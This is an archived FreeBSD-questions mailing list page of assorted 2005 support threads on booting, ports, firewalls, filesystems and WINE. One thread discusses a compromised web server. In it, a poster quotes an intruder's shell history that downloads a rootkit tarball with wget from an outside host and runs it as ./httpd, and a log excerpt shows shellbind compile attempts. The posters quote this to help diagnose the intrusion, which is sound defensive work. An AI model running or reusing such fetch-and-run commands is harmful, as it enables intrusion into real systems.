 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to
 [EMAIL PROTECTED]


pgpd1sRvgaOt0.pgp
Description: PGP signature


FreeBSD IA64 on Compaq DL590?

2005-02-09 Thread m
Has anyone successfully booted IA64 BSD 5.3 on a Compaq DL590 machine?

The DL590 is a multiprocessor Itanium machine; we just picked one up, and
I'm having problems booting from the install disk -- all goes OK until it
gets to Entering Kernel, at which point it freezes.

Any help would be most appreciated; if anyone requires more information to
assist, I will gladly provide it.

M.



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on AMD64

2005-02-09 Thread Bachelier Vincent
Ok thx,
it work
but I have to modify the cut part because of the form of the html
links you give me
Why this patch aren't include in official branch of ports-cvs ?

Well, thx for that, I will be able to update my system now :d
Le Wed, Feb 09, 2005 at 10:24:14AM +0100, jacula a écrit:
 Date: Wed, 09 Feb 2005 10:24:14 +0100
 From: jacula [EMAIL PROTECTED]
 User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; en-US;
   rv:1.7.5) Gecko/20050206
 To: freebsd-questions@freebsd.org
 Subject: Re: ruby-1.8.2_2 failed to install under Freebsd 5.3 release on
   AMD64
 
 Bachelier Vincent wrote:
 Hi, I have a problem to install this programs
 In fact I want to use port version of portupgrade and it need ruby,
 but this version wouldn't install
 
 This is le log
 
 ===  Installing for ruby-1.8.2_2
 ===   Generating temporary packing list
 ===  Checking if lang/ruby18 already installed
 ./miniruby ./instruby.rb --dest-dir=  --make=make  --mflags= -j
 3  --make-flags= ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001
 PORTOBJFORMAT=elf SYSTEMVERSION= -j 3 --mantype=doc
 install -c -p -m 0755 ruby18 /usr/local/bin/ruby18
 ./miniruby ./ext/extmk.rb --dest-dir=  --make=make  --mflags= -j
 3  --make-flags= ARCH=amd64 OPSYS=FreeBSD OSREL=5.3 OSVERSION=503001
 PORTOBJFORMAT=elf SYSTEMVERSION= -j 3 install
 
 Do you have an idea ?
 
 
 Hi Vincent.
 
 Idem here for me:
 
 http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020660.html
 
 My solution:
 
 http://lists.freebsd.org/pipermail/freebsd-ports/2005-February/020512.html
 
 The attached makefile work for me.
 
 Bye Jacula
 ___
 freebsd-questions@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/freebsd-questions
 To unsubscribe, send any mail to [EMAIL PROTECTED]

-- 
Vincent Bachelier [EMAIL PROTECTED]
Societe : Solintech
Site pro: http://www.solintech.fr
Project : 
Ripperwww: http://www.sourceforge.net/projects/ripperwww


pgpmdZonrzcyK.pgp
Description: PGP signature


Re: GTK vs QT

2005-02-09 Thread Gert Cuykens
On Tue, 8 Feb 2005 21:07:10 -0800, Kris Kennaway [EMAIL PROTECTED] wrote:
 On Wed, Feb 09, 2005 at 05:53:55AM +0100, Gert Cuykens wrote:
  On Tue, 08 Feb 2005 20:29:53 -0800, Tabor Kelly
  [EMAIL PROTECTED] wrote:
   Gert Cuykens wrote:
On Wed, 09 Feb 2005 03:39:05 +, Mick Walker [EMAIL PROTECTED] 
wrote:
   
   Why would you make a statement like that without making points to back
   it up?
   
   
because i dont have points except that qt can kiss my $$$ :)
   
no i am just wondering what you guy's think thats all i lookt around
on the internet a bit but that was old stuff about gtk1 and so.
  
   I have read the QT is far more efficient and that the only reason anyone
   uses GTK is for licensing reasons. Any comments? Also, not to mention
   that QT is fully portable to M$ Windows.
  
 
  i knew you where going to say that , let me fire some counter measures
  by saying that GTK2 + GIMP works excellent on windows XP
 
 Gert, this list is for technical support questions about FreeBSD.  If
 you want to have random discussions about other topics, the
 appropriate list is freebsd-chat.
 
 Thanks,
 Kris
 

ok
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: [OT] easy authpf access from Windows (for non-unix users)?

2005-02-09 Thread Hexren
ALG Is anyone running authpf with Windows clients in the network?  If so, 
ALG how are the Windows clients logging in?  What's the easiest mechanism 
ALG for this.

ALG I want my grandson to have free access to the (Windows) computers; but I 
ALG want an adult to manually authorize internet access to prevent 
ALG unsupervised surfing.

ALG Thanks,

ALG Andrew Gould

ALG ___
ALG freebsd-questions@freebsd.org mailing list
ALG http://lists.freebsd.org/mailman/listinfo/freebsd-questions
ALG To unsubscribe, send any mail to [EMAIL PROTECTED]

-

Putty is, in my experince an easy way to give Windows Clients SSH
capabilities. Plus its free.

Hexren

http://www.chiark.greenend.org.uk/~sgtatham/putty/

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


determine ufs2 %fragmentation on mounted filesystem

2005-02-09 Thread Nathan Kinkade
Does anyone know of a way to determine the %fragmentation on a mounted
UFS2 filesystem?  An entry showed up in messages yesterday stating that
/usr has moved from time to space optimization yet the filesystem is
only at about 25% of it's capacity.  From what I can read it seems that
the kernel might also make this switch if fragmentation becomes
excessive.  However, this is a busy production machine running Squid, so
I can't conveniently umount /usr.

Thanks,
Nathan


pgpJuzfpvUZSH.pgp
Description: PGP signature


Firewall throughput question

2005-02-09 Thread Darryl Hoar
Greetings,
I have had a Freebsd firewall (Older computer with (1) 3com 10Mb 
ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card).  
The firewall croaked on me (motherboard died).  As a quick fix, 
I plugged in a Linksys BEFSX41.

My Question is, should I build a new Freebsd firewall or just 
continue using the Linksys ? Throughput and security are my 
concern.  I can have up to 20 machines on the LAN at one time
using the internet, so traffic throughput is a factor.

Anyway, my inclination is to build a new freebsd firewall, but 
don't want to do the  work if the Linksys is good enough.

Thanks for any ideas or suggestions.

-Darryl



___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: determine ufs2 %fragmentation on mounted filesystem

2005-02-09 Thread Erik Norgaard
Nathan Kinkade wrote:
Does anyone know of a way to determine the %fragmentation on a mounted
UFS2 filesystem?  An entry showed up in messages yesterday stating that
/usr has moved from time to space optimization yet the filesystem is
only at about 25% of it's capacity.  From what I can read it seems that
the kernel might also make this switch if fragmentation becomes
excessive.  However, this is a busy production machine running Squid, so
I can't conveniently umount /usr.
fsck -t ufs2 /usr?
Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Question

2005-02-09 Thread .:PBS:. Medik
Hello, My name is Marc.
I'll explain quickly my situation, some time ago I had downloaded 
freeBSD4.6.2 R (about 2 yrs ago)
I still have it today and proceeded to reinstalling it. I realize I should 
have grabbed the latest release, but alas for some reason I can't through 
my router. Yes I'm running a private network on windows, (for the time 
being until I can adequately configure freebsd as a server).

When I had gotten my first copy of freebsd (this release in question) I had 
taught myself how to use it. but this is over 2 yrs ago, and lots have 
melted away since. So in essence I'm again labelled a newbie. I tried 
re-building my kernel and was forced to reinstall the generic kernel, 
further more, I would also like to be able to install the Apache web 
server, I managed to get the Apache_1.3.33 but for some reason it wont 
compile (make), I have assumed that perhaps it was already compiled and 
tried to do a config or an install to it and still nothing.. what am I 
doing wrong?

Yes I have already literally downloaded and printed several man pages on 
multiple topics (over 180 pages worth)
and I still can't make heads or tails from it. I assume your time is 
limited as mine is, I'm a business owner with little time to dedicate to my 
personal project and I don't have anyone knowledgeable enough on hand to 
get any personal help. My question is this, would it be at all possible to 
have a form of 1 on 1 to resolve this issue?

I await your response eagerly.
Thank you greatly for any help you can provide.
Marc
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: 16MB memory requirement for 5.3 install (Re: cracked outfloppy install)

2005-02-09 Thread Kris Kennaway
On Wed, Feb 09, 2005 at 03:35:33PM +0100, Ramiro Aceves wrote:
 Submitted PR is  docs/77304

Thanks!

Kris


pgppmSwhSHllS.pgp
Description: PGP signature


Re: Firewall throughput question

2005-02-09 Thread Hexren
DH Greetings,
DH I have had a Freebsd firewall (Older computer with (1) 3com 10Mb 
DH ethernet PCI card, and (1) 3 com 10/100 Mb ethernet PCI card).  
DH The firewall croaked on me (motherboard died).  As a quick fix, 
DH I plugged in a Linksys BEFSX41.

DH My Question is, should I build a new Freebsd firewall or just 
DH continue using the Linksys ? Throughput and security are my 
DH concern.  I can have up to 20 machines on the LAN at one time
DH using the internet, so traffic throughput is a factor.

DH Anyway, my inclination is to build a new freebsd firewall, but 
DH don't want to do the  work if the Linksys is good enough.

DH Thanks for any ideas or suggestions.

DH -Darryl


-

Many people say, the only way to truly answer the traffic throughput question 
is test the
firewall you have under life conditions and see if it can handle what
the LAN throws at it.

As for security, that has imho more to do with setup than with
hardware used imho. Get hardware cryptographic accelerators if you need
that much and have the money to spent.


Hexren

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: Question

2005-02-09 Thread Erik Norgaard
.:PBS:. Medik wrote:
I still have it today and proceeded to reinstalling it. I realize I 
should have grabbed the latest release, but alas for some reason I can't 
through my router. Yes I'm running a private network on windows, (for 
the time being until I can adequately configure freebsd as a server).
Are you trying to download iso's? on windows or freebsd machine? Does 
the download start and fails halfway? There are many things you can try: 
Try a different mirror, try using an ftp program rather than through 
your browser. You can download and burn the iso's both on windows and 
freebsd.

further more, I would also like to be able to install the Apache 
web server, I managed to get the Apache_1.3.33 but for some reason it 
wont compile (make), I have assumed that perhaps it was already compiled 
and tried to do a config or an install to it and still nothing.. what am 
I doing wrong?
Are you installing from ports or have you downloaded the source from 
apache.org and try to install that following the included instructions? 
I suggest you use ports - it has all the patches to make the compilation 
 work on freebsd.

Yes I have already literally downloaded and printed several man pages on 
multiple topics (over 180 pages worth)
and I still can't make heads or tails from it.
The man-pages are for reference for how to use a particular command for 
a particular problem. You might want to start with the handbook to get 
heads and tail.

The handbook also shows you how to use ports, and how and where to get 
your copy of FBSD.

Cheers, Erik
--
Ph: +34.666334818   web: http://www.locolomo.org
S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt
Subject ID:  A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9
Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Missing DocBook 4.1 .gml files

2005-02-09 Thread Alejandro Pulver
Hello,

When I run nsgmls over a DocBook 4.1 SGML file (specifying the catalog file: 
'-c /usr/local/share/sgml/docbook/4.1/catalog') it outputs the following 
messages:

-- BEGIN --
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:54:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amsa.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:61:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amsb.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:68:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amsc.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:75:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amsn.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:82:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amso.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:89:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-amsr.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:96:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-box.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:103:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-cyr1.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:110:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-cyr2.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:117:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-dia.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:124:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-grk1.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:131:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-grk2.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:138:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-grk3.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:145:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-grk4.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:152:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-lat1.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:159:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-lat2.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:166:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-num.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:173:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-pub.gml (No such file or directory)
nsgmls:/usr/local/share/sgml/docbook/4.1/dbcent.mod:180:0:E: cannot open 
/usr/local/share/sgml/docbook/4.1/iso-tech.gml (No such file or directory)
-- END   --

What are these files?
Where can I find them?

Thanks and Best Regards,
Ale
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: port source list from www.freebsd.org

2005-02-09 Thread Kris Kennaway
On Wed, Feb 09, 2005 at 09:02:37AM +0200, Vikash Badal wrote:
 Greetings,
 
 I have looked at the following url :
 
 http://www.freebsd.org/cgi/pds.cgi?ports/www/squid

Where did you get this URL?  It may be that you're using the wrong
format for the argument.

Kris


pgpt6EYSIohco.pgp
Description: PGP signature


Re: cracked out floppy install

2005-02-09 Thread Kris Kennaway
On Wed, Feb 09, 2005 at 02:51:06PM +, Mark Ovens wrote:

 well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 
 should be fine.  but even if it weren't, you'd think there'd be some form 
 of useful error message instead of just rebooting.  it just makes no sense.
 
 
 Interestingly, the Installation Notes for 4.11-R, 
 http://www.freebsd.org/releases/4.11R/installation-i386.html state, in 
 section 1.2 Hardware Requirements, The sysinstall(8) installation 
 program requires 16MB of RAM
 
 Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I 
 find that hard to believe.

No...this has been established elsethread and a PR has been submitted.

Kris

pgpuT5hJdf080.pgp
Description: PGP signature


Re: FreeBSD IA64 on Compaq DL590?

2005-02-09 Thread Kris Kennaway
On Wed, Feb 09, 2005 at 10:22:48AM -0500, m wrote:
 Has anyone successfully booted IA64 BSD 5.3 on a Compaq DL590 machine?

Try the freebsd-ia64 list.

Kris


pgpDnoDCnCELR.pgp
Description: PGP signature


Re: determine ufs2 %fragmentation on mounted filesystem

2005-02-09 Thread Kris Kennaway
On Wed, Feb 09, 2005 at 10:34:33AM -0600, Nathan Kinkade wrote:
 Does anyone know of a way to determine the %fragmentation on a mounted
 UFS2 filesystem?  An entry showed up in messages yesterday stating that
 /usr has moved from time to space optimization yet the filesystem is
 only at about 25% of it's capacity.  From what I can read it seems that
 the kernel might also make this switch if fragmentation becomes
 excessive.  However, this is a busy production machine running Squid, so
 I can't conveniently umount /usr.

Try dumpfs(8).

Kris

pgpmyP6lK8poy.pgp
Description: PGP signature


Re: maybe slightly OT - web content management kits

2005-02-09 Thread Louis LeBlanc
On 02/08/05 06:02 PM, Louis LeBlanc sat at the `puter and typed:
 I know this might be slightly OT, but I really only want to ask this
 question to those that use and maintain websites on FreeBSD anyway.  So
 please overlook the OT post.
 
 I'm trying to find a good website management system.  Content
 management.  I'm running Apache 2.0 with (among others) mod_perl2, (perl
 5.8.6) and Jakarta Tomcat 5.0.
 
 I don't have mod_php installed, and I'd just as soon not install it if I
 don't have to.  If it's the best option, then I'll bite the bullet.  I'd
 also like to stick with the server versions I already have installed.
 
 I've noticed slash in the ports, but it really wants Apache 1.3.x - as
 do many other similar apps in the ports.  Many others I've found also
 want mod_php.
 
 What I'm asking for is recommendations from people who have used and/or
 maintained multiple such packages on FreeBSD, what they thought about
 them.  Also, if anyone knows of any similar kits written in JSP, I'd be
 interested in checking them out.
 
 Finally, the server setup I have.  I know I'm running pretty close to
 the bleeding edge, but are there any of these packages out there that
 are ok on Apache 2.0?


Ok, I know I'm answering my own post again, but I've found a very good
resource for this kind of info.  Just in case anyone is interested, it's
at http://www.opensourcecms.com/

They have an extensive, if not exhaustive list of CMS webware projects,
and even have an excellent cross project comparison matrix by feature.

I'm probably going to try a few out, since there's only a couple in the
ports.  Among my top candidates are Mambo, geeklog (in ports), drupal
(also in ports), opencms, Etomite, and Magnolia.

If I find one I really really like, that's not in ports, I may try my
hand at submitting and supporting a port.  We'll see.

Lou
-- 
Louis LeBlanc  FreeBSD-at-keyslapper-DOT-net
Fully Funded Hobbyist,   KeySlapper Extrordinaire :)
Please send off-list email to: leblanc at keyslapper d.t net
Key fingerprint = C5E7 4762 F071 CE3B ED51  4FB8 AF85 A2FE 80C8 D9A2

Water causes rust!  Drink beer instead!


pgpdSwiJclsPc.pgp
Description: PGP signature


Re: cracked out floppy install

2005-02-09 Thread daniel quinn
On February 9, 2005 12:09 pm, Kris Kennaway wrote:
 On Wed, Feb 09, 2005 at 02:51:06PM +, Mark Ovens wrote:
  well the handbook says freebsd5 has a minimum requirement of 8mb, so 16
  should be fine.  but even if it weren't, you'd think there'd be some
   form of useful error message instead of just rebooting.  it just makes
   no sense.
 
  Interestingly, the Installation Notes for 4.11-R,
  http://www.freebsd.org/releases/4.11R/installation-i386.html state, in
  section 1.2 Hardware Requirements, The sysinstall(8) installation
  program requires 16MB of RAM
 
  Does sysinstall in 5.3 _really_ need half the RAM that 4.11 requires? I
  find that hard to believe.

 No...this has been established elsethread and a PR has been submitted.

you're right.  i found it yesterday.  the installer actually requires more ram 
than it takes to run the operating system itself.  i was working from the 
assumption that the installer required what the o/s required.  my bad.

i think this weekend i'm just going to transplant the hard drive into another 
machine to do the install.  it saves me the headaches that come with floppies 
and it'll likely be a whole lot faster.

thanks for all your input though.  as a gentoo guy, i guess i have a lot to 
learn about freebsd yet.

-- 
problems cannot be solved at the same level of awareness that created them.
  - albert Einstein
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: is there a cheat-sheet for WINE?

2005-02-09 Thread Gary Kline
On Wed, Feb 09, 2005 at 12:58:31AM +0100, albi wrote:
 Gary Kline wrote:
 
  The sh tools/wineinstall did an incomplete job.  I have 
  ~/.wine/config i nstalled, but I'm missing something because
  runnning wine or wine --help yields:
 
 
 fixme:file:get_default_drive_device auto detection of DOS devices not
 supported on this platform
 Warning: the specified Windows directory Lc:\\windows is not
 accessible.
 
 a few weeks ago i tried wine (and linux-winetools) from the ports in
 5.3 and it worked pretty well (testing filezilla for windows-users)
 
 in linux there's usually the winesetup tool, but this was (not available
 and) not needed at all
 
 i would install wine from ports and do a rm -rf ~/.wine and try again
 

Still no luck.  The WINE website is aimed toward Linux 
and as far as I can tell, the OnLamp article no longer
applies.  Anybody else?

gary


-- 
   Gary Kline [EMAIL PROTECTED]   www.thought.org Public service Unix

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: determine ufs2 %fragmentation on mounted filesystem

2005-02-09 Thread Nathan Kinkade
On Wed, Feb 09, 2005 at 09:10:39AM -0800, Kris Kennaway wrote:
 On Wed, Feb 09, 2005 at 10:34:33AM -0600, Nathan Kinkade wrote:
  Does anyone know of a way to determine the %fragmentation on a mounted
  UFS2 filesystem?  An entry showed up in messages yesterday stating that
  /usr has moved from time to space optimization yet the filesystem is
  only at about 25% of it's capacity.  From what I can read it seems that
  the kernel might also make this switch if fragmentation becomes
  excessive.  However, this is a busy production machine running Squid, so
  I can't conveniently umount /usr.
 
 Try dumpfs(8).
 
 Kris

I had already tried dumpfs, but couldn't find any information about
actual filesystem fragmentation in the output.  Erik's suggestion of
running `# fsck -t ufs2 /usr` seemed to work, though I felt a little
skittish about running it on a live filesystem.  It found numerous
errors and auto-answered no for all of them, though I never specified
that it should do that.  Does fsck just do this by default on a mounted
filesystem?  Also, I had tried running fsck manually earlier and the
only difference between what I did and Erik's suggestion was the -t
option, which I wouldn't think should have been necessary.  Shouldn't
fsck be able to determine the fs type by looking at the superblock?

By the way, the fragmentation was as 5.1%.  Quite high, and I'm
wondering how it got that way?  Squid?

Thanks,
Nathan


pgpZMqMZRB9qP.pgp
Description: PGP signature


Re: security updates

2005-02-09 Thread Anthony Atkielski
What are security updates?


___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


RE: httpd in /tmp - Sound advice sought

2005-02-09 Thread Bret Walker
Thanks for letting me know.

I found this in the my httpd error log:

[Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not
exist: /usr/local/www/data/favicon.ico
wget: permission denied
./httpd: not found
shellbind.c: In function `main':
shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
pointer without a cast
shellbind.c: In function `main':
shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
pointer without a cast
./httpd: permission denied
./httpd: permission denied
shellbind.c: In function `main':
shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
pointer without a cast
./httpd: permission denied
shellbind.c: In function `main':
shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
pointer without a cast
./httpd: permission denied
shellbind.c: In function `main':
shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
pointer without a cast
[Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not
exist: /usr/local/www/data-dist/xyzzy
[Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not
exist: /usr/local/www/data-dist/xyzzy
[Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not
exist: /usr/local/www/data-dist/xyzzy
[Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not
exist: /usr/local/www/data-dist/xyzzy
[Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by
system [Hint: Stop button pressed in browser?!] (System error follows)
[Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer
(errno: 54)

I also found shellbind.c in my /tmp directory.  Is there a way to tell
what type of exploit was used to get these files on my system (ie OpenSSL
/ PHP register_globals)?

I've been monitoring this server from a port that mirrors its traffic
using Ethereal, and all seems to be okay now.  I also cvsuped -Rr my
apache+mod_ssl install.

Thanks,
Bret

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner
Sent: Wednesday, February 09, 2005 8:48 AM
To: Bret Walker; freebsd-questions@freebsd.org
Subject: Re: httpd in /tmp - Sound advice sought


i know a certain hacking group who is trying to run their trojan as httpd,
i
discovered that info through some shell account i am running, that has
tried
to start this rootkit on our machine.

heres a short view from the shell's history:

-
wget geocities.com/setan_maya/taek.tar.gz
cd ..
ls
cd ..
ls
cd tmp
ls
wget geocities.com/setan_maya/taek.tar.gz
tar zxvf taek.tar.gz
ls
cd taek
./httpd
chmod 755 httpd
./httpd
ls
cd ..
rm -rf taek
rm taek.tar.gz
---

this clearly shows, that we have to do with a very dumb person, hence he

1. didnt cleaned his historyfile
2. left the tar.gz file in his homedir
3. loaded the rootkit from the same server he is running the group's
webpage
on.
4. has a link to their chan on that page, and in the chan as ive monitored

for 48hrs, ive found them posting their successes directly and
unencrypted.

I have informed a number of providers and hosters, that had their webpage
posted into that chan, and informed them about the breakins, so far i got
no
message back from them.

of course, its a longshot, but they didnt seem to check first if the
folder
tmp has the executable bit set at all, and they named their client like
the
file youve found.

i hope this helps you further.

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

On Tuesday 08 February 2005 14:35, Bret Walker wrote:
 Last night, I ran chkrootkit and it gave me a warning about being
 infected with Slapper.  Slapper exploits vulnerabilities in OpenSSL up
 to version 0.96d or older on Linux systems.  I have only run 0.97d.
 The file that set chkrootkit off was httpd which was located in /tmp.
 /tmp is always mounted rw, noexec.

 I update my packages (which are installed via ports) any time there is
 a security update.  I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl
 2.8.22/OpenSSL 0.97d on 4.10.  Register_globals was on in PHP for a
 couple of weeks, but the only code that required it to be on was in a
 .htaccess/SSL password protected directory.

 Tripwire didn't show anything that I noted as odd.  I reexamined the
 tripwire logs, which are e-mailed to an account off of the machine
 immediately after completion, and I don't
 see anything odd for the 3/4 days before or after the date on the file.
 (I don't scan /tmp)

 I stupidly deleted the httpd file from /tmp, which was smaller than
 the actual apache httpd.  And I don't back up /tmp.

 The only info I can find regarding this file being in /tmp pertains to
 Slapper.  Could something have copied a file there?  Could I have done
 it by mistake at some point - the server's been up ~60 days, plenty of
 time for me to forget something?

 This is production box that I very much want to keep up, so I'm
 seeking some sound advice.

 Does this box need 

Re[2]: security updates

2005-02-09 Thread Hexren
AA What are security updates?


AA ___
AA freebsd-questions@freebsd.org mailing list
AA http://lists.freebsd.org/mailman/listinfo/freebsd-questions
AA To unsubscribe, send any mail to [EMAIL PROTECTED]

-

How does it sound ;)

If a bug that affects security is found, an update to fix is
produced. In my definition this counts as security update.

Hexren

___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]


Re: httpd in /tmp - Sound advice sought

2005-02-09 Thread Oliver Leitner
not from the log output you just showed, id look back further on the 
webserver logs, and also take a look on other running processes on your 
server, ps auxf ...

other good tools to find installed rootkits:

rkhunter (youll find that in the ports collection, at least on a 5.3)
sockstat.c (easy to find via google)
and have a close look into your /proc fs, in case you have a procfs mounted.

also check your webserver for world writeable directories, and for cross site 
scripting problems, that wget was called from the webserver looks like some 
kind of bug in a script, that is used by a webpage, that the attacker tried 
to use...

On Wednesday 09 February 2005 18:41, Bret Walker wrote:
 Thanks for letting me know.

 I found this in the my httpd error log:

 [Fri Jan 14 13:06:06 2005] [error] [client 129.xxx.xxx.xxx] File does not
 exist: /usr/local/www/data/favicon.ico
 wget: permission denied
 ./httpd: not found
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 ./httpd: permission denied
 shellbind.c: In function `main':
 shellbind.c:16: warning: passing arg 2 of `memset' makes integer from
 pointer without a cast
 [Fri Jan 14 21:40:12 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Fri Jan 14 21:40:21 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sat Jan 15 21:36:33 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sun Jan 16 21:54:06 2005] [error] [client 195.92.95.15] File does not
 exist: /usr/local/www/data-dist/xyzzy
 [Sun Jan 16 23:58:22 2005] [error] mod_ssl: SSL handshake interrupted by
 system [Hint: Stop button pressed in browser?!] (System error follows)
 [Sun Jan 16 23:58:22 2005] [error] System: Connection reset by peer
 (errno: 54)

 I also found shellbind.c in my /tmp directory.  Is there a way to tell
 what type of exploit was used to get these files on my system (ie OpenSSL
 / PHP register_globals)?

 I've been monitoring this server from a port that mirrors its traffic
 using Ethereal, and all seems to be okay now.  I also cvsuped -Rr my
 apache+mod_ssl install.

 Thanks,
 Bret

 -Original Message-
 From: [EMAIL PROTECTED]
 [mailto:[EMAIL PROTECTED] On Behalf Of Oliver Leitner
 Sent: Wednesday, February 09, 2005 8:48 AM
 To: Bret Walker; freebsd-questions@freebsd.org
 Subject: Re: httpd in /tmp - Sound advice sought


